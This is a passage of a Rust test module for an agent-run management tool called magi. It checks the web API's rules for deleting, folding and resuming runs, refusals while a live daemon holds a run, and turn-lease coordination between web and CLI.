21018        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21019            .expect("write run.json");
21020
21021        // Delete by short id
21022        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21023        assert_eq!(res.status, 204);
21024        assert!(res.body.is_empty(), "204 has no body");
21025        assert!(!dir.exists(), "run directory and artifacts must be deleted");
21026
21027        // 2. A run a live daemon is working on is refused with 409. The
21028        // heartbeat is what makes it refusable: an unfinished run with no
21029        // daemon behind it is a leftover from a killed process, and case 1
21030        // above would otherwise be impossible to tell apart from this one.
21031        let run_running = "20260901-000000-rung";
21032        write_run(&runs, run_running, RunStatus::Prep);
21033        let mut beat = crate::daemon::Status::new();
21034        beat.current = vec![crate::daemon::Current {
21035            task: "20260901-000000-task".to_owned(),
21036            run: run_running.to_owned(),
21037        }];
21038        beat.updated_at = jiff::Timestamp::now();
21039        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21040            .expect("publish a heartbeat");
21041        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21042        assert_eq!(res.status, 409);
21043        assert!(
21044            res.json()["error"]
21045                .as_str()
21046                .unwrap()
21047                .contains("live daemon"),
21048            "the refusal must say who is holding it"
21049        );
21050        assert!(
21051            runs.join(run_running).exists(),
21052            "a run in flight keeps its directory"
21053        );
21054
21055        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
21056        let run_unfolded = "20260901-000000-unfd";
21057        let mut state2 = RunState::new(
21058            PathBuf::from("/repo"),
21059            "main".to_owned(),
21060            "abc".to_owned(),
21061            "instruction".to_owned(),
21062            Config::default(),
21063        );
21064        state2.id = run_unfolded.to_owned();
21065        state2.status = RunStatus::Ready;
21066        state2.candidates.push(crate::run::Candidate {
21067            index: 0,
21068            label: 'A',
21069            agent: "a".to_owned(),
21070            branch: "b".to_owned(),
21071            worktree: PathBuf::from("/w"),
21072            summary: String::new(),
21073            stat: String::new(),
21074            files: 1,
21075            commits: 1,
21076            empty: false,
21077            failed: None,
21078            verified_noop: None,
21079            duration_ms: 0,
21080            folded: false,
21081        });
21082        let dir2 = runs.join(run_unfolded);
21083        std::fs::create_dir_all(&dir2).expect("create dir2");
21084        std::fs::write(
21085            dir2.join("run.json"),
21086            serde_json::to_string(&state2).unwrap(),
21087        )
21088        .expect("write run.json");
21089
21090        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21091        assert_eq!(res.status, 409);
21092        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21093        assert!(dir2.exists(), "unfolded run directory is kept");
21094
21095        // 4. Missing id returns 404
21096        let res = fx.delete("/api/runs/nonexistent").await;
21097        assert_eq!(res.status, 404);
21098    }
21099
21100    /// The queue tiles on the Stats tab must render even on a home with no
21101    /// runs at all: queue state is not derived from run history, so hiding
21102    /// the whole dashboard body behind "no runs yet" would drop the one
21103    /// thing this tab promises unconditionally (queued/running/held/done).
21104    /// A DOM-level test would need a browser this suite does not have, so
21105    /// this pins the same invariant textually: `renderStatsQueue` is called
21106    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
21107    /// block that gates the run-derived panels.
21108    #[test]
21109    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21110        let start = APP_JS
21111            .find("function renderStats() {")
21112            .expect("renderStats");
21113        let end = start
21114            + APP_JS[start..]
21115                .find("function statsTile(")
21116                .expect("the next top-level function");
21117        let body = &APP_JS[start..end];
21118
21119        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21120        let gate_end = gate_start
21121            + body[gate_start..]
21122                .find("}\n  renderStatsQueue")
21123                .expect("the gate's own closing brace, right before the unconditional call");
21124        let gated = &body[gate_start..gate_end];
21125
21126        assert_eq!(
21127            body.matches("renderStatsQueue(").count(),
21128            1,
21129            "renderStats must call renderStatsQueue exactly once: {body}"
21130        );
21131        assert!(
21132            !gated.contains("renderStatsQueue"),
21133            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21134             run-derived panels on an empty run history - the queue panel has to render \
21135             regardless: {gated}"
21136        );
21137    }
21138
21139    #[test]
21140    fn web_ui_delete_contract_in_front_end() {
21141        // 1. API block has both delete endpoints
21142        assert!(APP_JS.contains("deleteRun:"));
21143        assert!(APP_JS.contains("deleteTask:"));
21144
21145        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
21146        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21147            ..APP_JS.find("function renderRuns").unwrap()];
21148        assert!(!run_cards_slice.to_lowercase().contains("delete"));
21149
21150        // 3. Run detail has delete entry and reasons
21151        assert!(APP_JS.contains("renderRunDelete"));
21152        assert!(APP_JS.contains("runDeleteReason"));
21153        assert!(APP_JS.contains("magi fold"));
21154        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21155
21156        // 4. Two-step delete arming and focus on Cancel
21157        assert!(APP_JS.contains("cancel.focus"));
21158        assert!(APP_JS.contains("armedRunDelete"));
21159        assert!(APP_JS.contains("renderTaskDeleteBox"));
21160        assert!(APP_JS.contains("armed${cap(key)}"));
21161
21162        // 5. Running task has disabled delete
21163        assert!(APP_JS.contains("disabled: status === \"running\""));
21164    }
21165
21166    /// Every element a run card's updater reaches for must be in the `refs`
21167    /// the builder handed it.
21168    ///
21169    /// `createRunCard` builds its elements, appends them to the card, and then
21170    /// lists them again in `row.refs`. That second list is the one the updater
21171    /// uses, and nothing connects the two - an element can be built, appended
21172    /// and rendered, and still be missing from `refs`. `superseded` was, for
21173    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
21174    /// exception took `syncList` with it, and the deck showed
21175    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
21176    /// line is computed before the cards, which is why the failure looked like
21177    /// a server that had lost its runs rather than a front end that had
21178    /// stopped rendering them.
21179    ///
21180    /// A `cargo test` cannot execute the front end, so this reads the two
21181    /// halves out of the source and compares them as sets. It is not a check
21182    /// on the wording of either list: adding an element, renaming one, or
21183    /// reordering them all keeps this passing, and only using one the builder
21184    /// never published fails it.
21185    #[test]
21186    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21187        let build = APP_JS
21188            .find("function createRunCard")
21189            .expect("createRunCard exists");
21190        let update = APP_JS
21191            .find("function updateRunCard")
21192            .expect("updateRunCard exists");
21193        let end = APP_JS
21194            .find("function renderRuns")
21195            .expect("renderRuns exists");
21196
21197        // The builder's published set: the object literal assigned to `refs`.
21198        let builder = &APP_JS[build..update];
21199        let open = builder.find("refs = {").expect("createRunCard sets refs");
21200        let literal = &builder[open + "refs = {".len()..];
21201        let close = literal.find('}').expect("the refs literal is closed");
21202        let published: HashSet<&str> = literal[..close]
21203            .split(',')
21204            // `name` and `name: value` both bind `name`.
21205            .filter_map(|entry| entry.split(':').next())
21206            .map(str::trim)
21207            .filter(|name| !name.is_empty())
21208            .collect();
21209        assert!(
21210            published.len() > 5,
21211            "the refs literal did not parse into names: {published:?}"
21212        );
21213
21214        // What the updaters reach for: every `r.<name>`, where `r` is the
21215        // `const r = row.refs` alias both functions open with.
21216        let mut used: Vec<&str> = Vec::new();
21217        let updaters = &APP_JS[update..end];
21218        for (at, _) in updaters.match_indices("r.") {
21219            // `r` must be the whole identifier, not the tail of another one
21220            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21221            let before = updaters[..at].chars().next_back();
21222            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21223                continue;
21224            }
21225            let rest = &updaters[at + 2..];
21226            let len = rest
21227                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21228                .unwrap_or(rest.len());
21229            if len > 0 {
21230                used.push(&rest[..len]);
21231            }
21232        }
21233        assert!(
21234            used.len() > 5,
21235            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21236        );
21237
21238        let missing: Vec<&str> = used
21239            .iter()
21240            .copied()
21241            .filter(|name| !published.contains(name))
21242            .collect();
21243        assert!(
21244            missing.is_empty(),
21245            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21246             never put in `refs` - every card will throw and the list will \
21247             render empty under a count line that says otherwise. Published: \
21248             {published:?}"
21249        );
21250    }
21251
21252    #[tokio::test]
21253    async fn folding_from_the_phone_reports_what_it_removed() {
21254        let fx = Fixture::start().await;
21255        let runs = fx.runs();
21256
21257        // A run with no candidates has nothing to fold, which is a 200 with an
21258        // honest count rather than an error: the operator asked for the trees
21259        // to be gone and they are.
21260        let id = "20260901-000000-fold";
21261        write_run(&runs, id, RunStatus::Stalled);
21262        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21263        assert_eq!(res.status, 200);
21264        assert_eq!(res.json()["removed_count"], 0);
21265        assert_eq!(res.json()["run"], id);
21266        assert!(
21267            runs.join(id).exists(),
21268            "a fold keeps the run's record; only the worktrees go"
21269        );
21270    }
21271
21272    #[tokio::test]
21273    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21274        let fx = Fixture::start().await;
21275        let runs = fx.runs();
21276        let wt = fx.home.path().join("wt").join("magi").join("dead");
21277        let id = "20260901-000000-dead";
21278        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21279        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21280        std::fs::create_dir_all(&wt).expect("worktree dir");
21281
21282        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21283        assert_eq!(res.status, 200, "{}", res.body);
21284        assert!(
21285            res.json()["removed_count"].as_u64().unwrap() > 0,
21286            "the worktree this build could not read a state for still went"
21287        );
21288        assert!(
21289            !runs.join(id).exists(),
21290            "an unreadable run has no candidate list to fold selectively, so \
21291             the whole record goes - same as `magi fold` on the CLI"
21292        );
21293    }
21294
21295    #[tokio::test]
21296    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21297        let fx = Fixture::start().await;
21298        let runs = fx.runs();
21299        let wt = fx.home.path().join("wt").join("magi").join("gone");
21300        let id = "20260901-000000-gone";
21301        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21302        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21303        std::fs::create_dir_all(&wt).expect("worktree dir");
21304
21305        let res = fx.delete(&format!("/api/runs/{id}")).await;
21306        assert_eq!(res.status, 204, "{}", res.body);
21307        assert!(!runs.join(id).exists(), "the broken record is gone");
21308        assert!(!wt.exists(), "its worktree is gone too");
21309    }
21310
21311    #[tokio::test]
21312    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21313        let fx = Fixture::start().await;
21314        let runs = fx.runs();
21315        let id = "20260901-000000-live";
21316        write_run(&runs, id, RunStatus::Implementing);
21317
21318        let mut beat = crate::daemon::Status::new();
21319        beat.current = vec![crate::daemon::Current {
21320            task: "20260901-000000-task".to_owned(),
21321            run: id.to_owned(),
21322        }];
21323        beat.updated_at = jiff::Timestamp::now();
21324        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21325            .expect("publish a heartbeat");
21326
21327        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21328        assert_eq!(res.status, 409);
21329        assert!(
21330            res.json()["error"]
21331                .as_str()
21332                .unwrap()
21333                .contains("live daemon"),
21334            "folding under a running agent would pull its worktree away"
21335        );
21336    }
21337
21338    #[tokio::test]
21339    async fn fold_merged_requires_a_pr_url() {
21340        let fx = Fixture::start().await;
21341        let runs = fx.runs();
21342        let id = "20260901-000000-nourl";
21343        write_run(&runs, id, RunStatus::Blocked);
21344
21345        let res = fx
21346            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21347            .await;
21348        assert_eq!(res.status, 400, "{}", res.body);
21349
21350        let blank = fx
21351            .post(
21352                &format!("/api/runs/{id}/fold-merged"),
21353                Some(r#"{"pr_url":"   "}"#),
21354            )
21355            .await;
21356        assert_eq!(blank.status, 400, "{}", blank.body);
21357    }
21358
21359    #[tokio::test]
21360    async fn fold_merged_is_404_for_an_unknown_run() {
21361        let fx = Fixture::start().await;
21362        let res = fx
21363            .post(
21364                "/api/runs/nosuchrun/fold-merged",
21365                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21366            )
21367            .await;
21368        assert_eq!(res.status, 404, "{}", res.body);
21369    }
21370
21371    #[tokio::test]
21372    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21373        let fx = Fixture::start().await;
21374        let runs = fx.runs();
21375        let id = "20260901-000000-livemerge";
21376        write_run(&runs, id, RunStatus::Blocked);
21377
21378        let mut beat = crate::daemon::Status::new();
21379        beat.current = vec![crate::daemon::Current {
21380            task: "20260901-000000-task".to_owned(),
21381            run: id.to_owned(),
21382        }];
21383        beat.updated_at = jiff::Timestamp::now();
21384        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21385            .expect("publish a heartbeat");
21386
21387        let res = fx
21388            .post(
21389                &format!("/api/runs/{id}/fold-merged"),
21390                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21391            )
21392            .await;
21393        assert_eq!(res.status, 409, "{}", res.body);
21394        assert!(
21395            res.json()["error"]
21396                .as_str()
21397                .unwrap()
21398                .contains("live daemon"),
21399            "correcting a run's merge underneath a running agent would race \
21400             whatever it is doing to the same `status`/`merge` fields"
21401        );
21402    }
21403
21404    /// A pull request `gh` cannot even ask about (no such remote, no such
21405    /// repository) must never be recorded as a merge on a guess - the same
21406    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21407    /// command line, reached here through the phone route instead.
21408    #[tokio::test]
21409    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21410        let fx = Fixture::start().await;
21411        let runs = fx.runs();
21412        let id = "20260901-000000-unconfirmed";
21413        write_run(&runs, id, RunStatus::Blocked);
21414
21415        let res = fx
21416            .post(
21417                &format!("/api/runs/{id}/fold-merged"),
21418                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21419            )
21420            .await;
21421        assert_eq!(res.status, 400, "{}", res.body);
21422        assert_eq!(
21423            read_run(&runs, id).unwrap().status,
21424            RunStatus::Blocked,
21425            "a pull request that could not be confirmed merged must leave \
21426             the run exactly where it was"
21427        );
21428    }
21429
21430    #[tokio::test]
21431    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
21432        let fx = Fixture::start().await;
21433        let runs = fx.runs();
21434
21435        // Only a finished run and a failed one. An *interrupted* run - a
21436        // parked one, or one whose daemon was killed mid-node - is the case
21437        // resuming exists for: run 4043 sat at `reviewing` with the deck
21438        // saying it could not be resumed, which was the one state where
21439        // resuming was the only sensible answer.
21440        for (status, word) in [
21441            (RunStatus::Merged, "merged"),
21442            (RunStatus::Ready, "ready"),
21443            (RunStatus::Failed, "failed"),
21444        ] {
21445            let id = format!("20260901-000000-{}", &word[..4]);
21446            write_run(&runs, &id, status);
21447            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21448            assert_eq!(res.status, 409, "{word} must not be resumable");
21449            let err = res.json()["error"].as_str().unwrap().to_owned();
21450            assert!(err.contains(word), "the refusal names the status: {err}");
21451        }
21452
21453        // And an interrupted run is accepted: 202, with the resume running in
21454        // the background. `Runner::resume` fails immediately here - the
21455        // fixture's run points at a repository that does not exist - which is
21456        // the point: the handler must not wait for it to find out.
21457        let mid = "20260901-000000-midf";
21458        write_run(&runs, mid, RunStatus::Reviewing);
21459        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
21460        assert_eq!(res.status, 202, "an interrupted run is resumable");
21461    }
21462
21463    #[tokio::test]
21464    async fn resume_is_refused_while_the_loop_is_running() {
21465        let fx = Fixture::start().await;
21466        let runs = fx.runs();
21467        let stalled = "20260901-000000-stal";
21468        write_run(&runs, stalled, RunStatus::Stalled);
21469
21470        // The loop is busy with a *different* run, and that is still a
21471        // refusal: a manual resume must never race whatever the loop itself
21472        // is already driving, whether that is one run or several.
21473        let mut beat = crate::daemon::Status::new();
21474        beat.current = vec![crate::daemon::Current {
21475            task: "20260901-000000-task".to_owned(),
21476            run: "20260901-000000-othr".to_owned(),
21477        }];
21478        beat.updated_at = jiff::Timestamp::now();
21479        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21480            .expect("publish a heartbeat");
21481
21482        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21483        assert_eq!(res.status, 409);
21484        let err = res.json()["error"].as_str().unwrap().to_owned();
21485        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21486        assert!(err.contains("stop it first"), "{err}");
21487    }
21488
21489    #[test]
21490    fn a_run_cannot_be_resumed_twice_at_once() {
21491        let home = TempDir::new().expect("temp home");
21492        let ui = Ui::new(
21493            Queue::at(home.path().join("queue")),
21494            Questions::at(home.path().join("questions")),
21495            Talks::at(home.path().join("talks")),
21496            home.path().join("runs"),
21497            home.path().to_path_buf(),
21498            PathBuf::from("/repo"),
21499        )
21500        .with_worktrees_root(home.path().join("wt"));
21501        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21502        let again = ui.begin_resume("20260901-000000-once");
21503        assert!(again.is_err(), "a second tap must not start a second graph");
21504        drop(first);
21505        assert!(
21506            ui.begin_resume("20260901-000000-once").is_ok(),
21507            "and the claim is released when the attempt ends"
21508        );
21509    }
21510
21511    #[test]
21512    fn talk_thinking_tracks_only_its_held_turn_claim() {
21513        let home = TempDir::new().expect("temp home");
21514        let ui = Ui::new(
21515            Queue::at(home.path().join("queue")),
21516            Questions::at(home.path().join("questions")),
21517            Talks::at(home.path().join("talks")),
21518            home.path().join("runs"),
21519            home.path().to_path_buf(),
21520            PathBuf::from("/repo"),
21521        )
21522        .with_worktrees_root(home.path().join("wt"));
21523        let id = "20260901-000000-once";
21524
21525        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21526        let turn = ui.begin_talk_turn(id).expect("claim turn");
21527        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21528        assert!(
21529            !ui.is_thinking("20260901-000000-other"),
21530            "one talk's turn does not make another talk busy"
21531        );
21532        drop(turn);
21533        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21534    }
21535
21536    #[test]
21537    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21538        let home = TempDir::new().expect("temp home");
21539        let talks = Talks::at(home.path().join("talks"));
21540        let ui = Ui::new(
21541            Queue::at(home.path().join("queue")),
21542            Questions::at(home.path().join("questions")),
21543            talks.clone(),
21544            home.path().join("runs"),
21545            home.path().to_path_buf(),
21546            PathBuf::from("/repo"),
21547        )
21548        .with_worktrees_root(home.path().join("wt"));
21549        let id = "20260901-000000-cross";
21550
21551        let other = Talks::at(home.path().join("talks"))
21552            .claim_turn(id)
21553            .expect("claim")
21554            .expect("the other process wins");
21555        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21556        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21557        assert!(
21558            matches!(
21559                ui.begin_talk_turn_unless_pending(id).expect("start"),
21560                TalkTurnStart::Foreign
21561            ),
21562            "a foreign holder is refused, not queued behind"
21563        );
21564        assert!(
21565            !ui.talk_turns.lock().unwrap().live.contains(id),
21566            "a refused claim leaves no in-process entry behind"
21567        );
21568        drop(other);
21569        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21570        assert!(talks.turn_held(id), "the web turn holds the lease");
21571        drop(turn);
21572        assert!(
21573            !talks.turn_held(id),
21574            "dropping the guard releases the lease"
21575        );
21576    }
21577
21578    fn consult_question(ui: &Ui) -> Question {
21579        let mut q = Question::new(
21580            "20260901-000000-consult".to_owned(),
21581            "implement".to_owned(),
21582            "impl-A".to_owned(),
21583            "Which backend?".to_owned(),
21584            String::new(),
21585            vec!["SQLite".to_owned(), "Redis".to_owned()],
21586        );
21587        ui.questions.put(&mut q).expect("question");
21588        q
21589    }
21590
21591    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21592        (
21593            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21594            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21595        )
21596    }
21597
21598    #[tokio::test]
21599    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21600        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21601        let q = consult_question(&ui);
21602        let talk = ui.talks.get(&id).expect("talk");
21603        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21604        let before = consult_snapshot(&ui, &q, &id);
21605        let cli_talks = Talks::at(ui.home.join("talks"));
21606        assert_eq!(
21607            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21608                .await
21609                .expect("CLI starter"),
21610            crate::consult::Started::Busy
21611        );
21612        assert_eq!(consult_snapshot(&ui, &q, &id), before);
21613        assert!(ui.is_thinking(&id));
21614        drop(guard);
21615        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21616    }
21617
21618    #[tokio::test]
21619    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21620        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21621        let q = consult_question(&ui);
21622        let talk = ui.talks.get(&id).expect("talk");
21623        let started = tmp.path().join("started");
21624        let release = tmp.path().join("release");
21625        let script = tmp.path().join("consult-agent.sh");
21626        std::fs::write(
21627            &script,
21628            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
21629        )
21630        .expect("script");
21631        let mut cfg = stub_config();
21632        cfg.agents[0].id = "mock".to_owned();
21633        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21634        cfg.agents[0].env = std::collections::BTreeMap::from([
21635            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21636            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21637        ]);
21638        let questions = ui.questions.clone();
21639        let cli_talks = Talks::at(ui.home.join("talks"));
21640        let cli_q = q.clone();
21641        let turn = tokio::spawn(async move {
21642            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21643        });
21644        let ready = tokio::time::timeout(Duration::from_secs(30), async {
21645            while !started.exists() {
21646                tokio::time::sleep(Duration::from_millis(10)).await;
21647            }
21648        })
21649        .await;
21650        // Always release and join the agent, even if readiness or the web
21651        // request fails, so a failed assertion cannot leave a turn behind.
21652        let refusal = if ready.is_ok() {
21653            let before = consult_snapshot(&ui, &q, &id);
21654            let result = talk_say(
21655                State(Arc::clone(&ui)),
21656                Path(id.clone()),
21657                Ok(Json(NewTalkTurn {
21658                    reply_to: None,
21659                    text: "another message".to_owned(),
21660                    attachments: Vec::new(),
21661                })),
21662            )
21663            .await;
21664            Some((result, before, consult_snapshot(&ui, &q, &id)))
21665        } else {
21666            None
21667        };
21668        std::fs::write(&release, "").expect("release agent");
21669        let done = turn.await.expect("join CLI turn");
21670        ready.expect("agent started before deadline");
21671        let (result, before, after) = refusal.expect("web request");
21672        let error = result.expect_err("web must refuse the CLI's turn");
21673        assert_eq!(error.status, StatusCode::CONFLICT);
21674        assert!(error.message.contains("a turn is already running"));
21675        assert_eq!(
21676            after, before,
21677            "refusal preserves question, draft and history"
21678        );
21679        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21680        let guard = ui
21681            .begin_talk_turn(&id)
21682            .expect("web claim")
21683            .expect("free again");
21684        drop(guard);
21685    }
21686
21687    #[test]
21688    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21689        let home = TempDir::new().expect("temp home");
21690        let talks = Talks::at(home.path().join("talks"));
21691        let ui = Ui::new(
21692            Queue::at(home.path().join("queue")),
21693            Questions::at(home.path().join("questions")),
21694            talks.clone(),
21695            home.path().join("runs"),
21696            home.path().to_path_buf(),
21697            PathBuf::from("/repo"),
21698        )
21699        .with_worktrees_root(home.path().join("wt"));
21700        let id = "20260901-000000-order";
21701        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21702        // Hold the slot mutex so the drop can finish the lease but not the slot.
21703        let slots = ui.talk_turns.lock().unwrap();
21704        let dropper = std::thread::spawn(move || drop(turn));
21705        let start = std::time::Instant::now();
21706        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21707            std::thread::sleep(Duration::from_millis(5));
21708        }
21709        assert!(!talks.turn_held(id), "the lease is released first");
21710        assert!(slots.live.contains(id), "the slot is still held meanwhile");
21711        drop(slots);
21712        dropper.join().expect("join");
21713        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21714    }
21715
21716    #[tokio::test]
21717    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
21718        let fx = Fixture::start().await;
21719        // Somebody else's `magi serve` owns the queue. Replacing this binary
21720        // would leave that process running an old one against the same
21721        // claims, which is worse than refusing.
21722        let mut beat = crate::daemon::Status::new();
21723        beat.pid = 4321;
21724        beat.updated_at = jiff::Timestamp::now();
21725        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21726            .expect("publish a heartbeat");
21727
21728        let res = fx.post("/api/upgrade", None).await;
21729        assert_eq!(res.status, 409);
21730        let err = res.json()["error"].as_str().unwrap().to_owned();
21731        assert!(err.contains("4321"), "the refusal names the owner: {err}");
21732        assert!(err.contains("old one against the same queue"), "{err}");
21733    }
21734
21735    /// [`should_spawn_recheck`] must refuse for the same two reasons
21736    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
21737    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
21738    /// Purely a predicate over config and the environment - no network, no
21739    /// disk, no runtime - so unlike the fixture-based tests around it this
21740    /// one needs neither.
21741    #[test]
21742    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21743        assert!(!should_spawn_recheck(&crate::config::Update {
21744            mode: UpdateMode::Off,
21745            interval: None,
21746        }));
21747
21748        // SAFETY: single-threaded as far as this variable goes, the same
21749        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21750        unsafe {
21751            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21752        }
21753        let killed = should_spawn_recheck(&crate::config::Update {
21754            mode: UpdateMode::Notify,
21755            interval: None,
21756        });
21757        unsafe {
21758            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21759        }
21760        assert!(
21761            !killed,
21762            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21763             one-time startup check"
21764        );
21765
21766        assert!(should_spawn_recheck(&crate::config::Update {
21767            mode: UpdateMode::Notify,
21768            interval: None,
21769        }));
21770    }
21771
21772    /// [`recheck_poll_period`] must track a configured `[update] interval`
21773    /// shorter than its own default ceiling - a fixed sleep here would leave
21774    /// an operator's short interval waiting on the next wake-up instead of on
21775    /// `should_check`, which is the same bug this whole task exists to fix,
21776    /// just one level down.
21777    #[test]
21778    fn recheck_poll_period_tracks_a_short_configured_interval() {
21779        let short = crate::config::Update {
21780            mode: UpdateMode::Notify,
21781            interval: Some("1m".to_owned()),
21782        };
21783        let period = recheck_poll_period(&short);
21784        assert!(
21785            period <= Duration::from_secs(30),
21786            "a one-minute interval must wake the task far sooner than the \
21787             default ceiling, or the deck would not notice within the \
21788             interval the operator configured: got {period:?}"
21789        );
21790
21791        let default = crate::config::Update {
21792            mode: UpdateMode::Notify,
21793            interval: None,
21794        };
21795        assert_eq!(
21796            recheck_poll_period(&default),
21797            UPDATE_RECHECK_POLL_MAX,
21798            "the default day-long interval should poll at the (capped) \
21799             ceiling rather than needlessly often"
21800        );
21801    }
21802
21803    /// [`update_recheck_due`] must not repeat a check made moments ago, the
21804    /// same throttle `updater::Checker::should_check` already gives the
21805    /// CLI's notify mode. Built over an explicit state file via
21806    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
21807    /// write the operator's real `last_update_check.json` - and therefore
21808    /// cannot flake on whatever that file happens to say on the machine
21809    /// running the test.
21810    #[test]
21811    fn recheck_skips_the_network_before_the_interval_elapses() {
21812        let dir = TempDir::new().expect("temp dir");
21813        let path = dir.path().join("state.json");
21814        let state = kaishin::UpdateCheckState {
21815            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21816            last_known_latest: None,
21817            last_known_url: None,
21818        };
21819        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21820
21821        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21822        assert!(
21823            !update_recheck_due(&checker, None),
21824            "a check made moments ago must not be repeated before the \
21825             configured interval elapses"
21826        );
21827    }
21828
21829    /// An upgrade this deck already started must not be raced by a recheck
21830    /// that discovers a newer release mid-install - regardless of what
21831    /// `should_check` says, which is why the state file here is missing
21832    /// entirely: read alone, that alone would answer "never checked, go
21833    /// ahead".
21834    #[test]
21835    fn recheck_defers_to_an_upgrade_already_in_flight() {
21836        let dir = TempDir::new().expect("temp dir");
21837        let path = dir.path().join("state.json");
21838        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21839        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21840
21841        assert!(
21842            !update_recheck_due(&checker, Some(&progress)),
21843            "a recheck must not run while an upgrade this deck started is \
21844             still moving"
21845        );
21846    }
21847
21848    #[tokio::test]
21849    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21850        // The same env var the background check honours (`disabled_by_env`)
21851        // must also stop a button press before it ever calls
21852        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
21853        // means "never contact GitHub from this process", and a tap on the
21854        // upgrade button must not override that any more than a broken
21855        // `magi.toml` may. Left unset, this fixture's default config would
21856        // otherwise reach a real, unauthenticated GitHub call.
21857        //
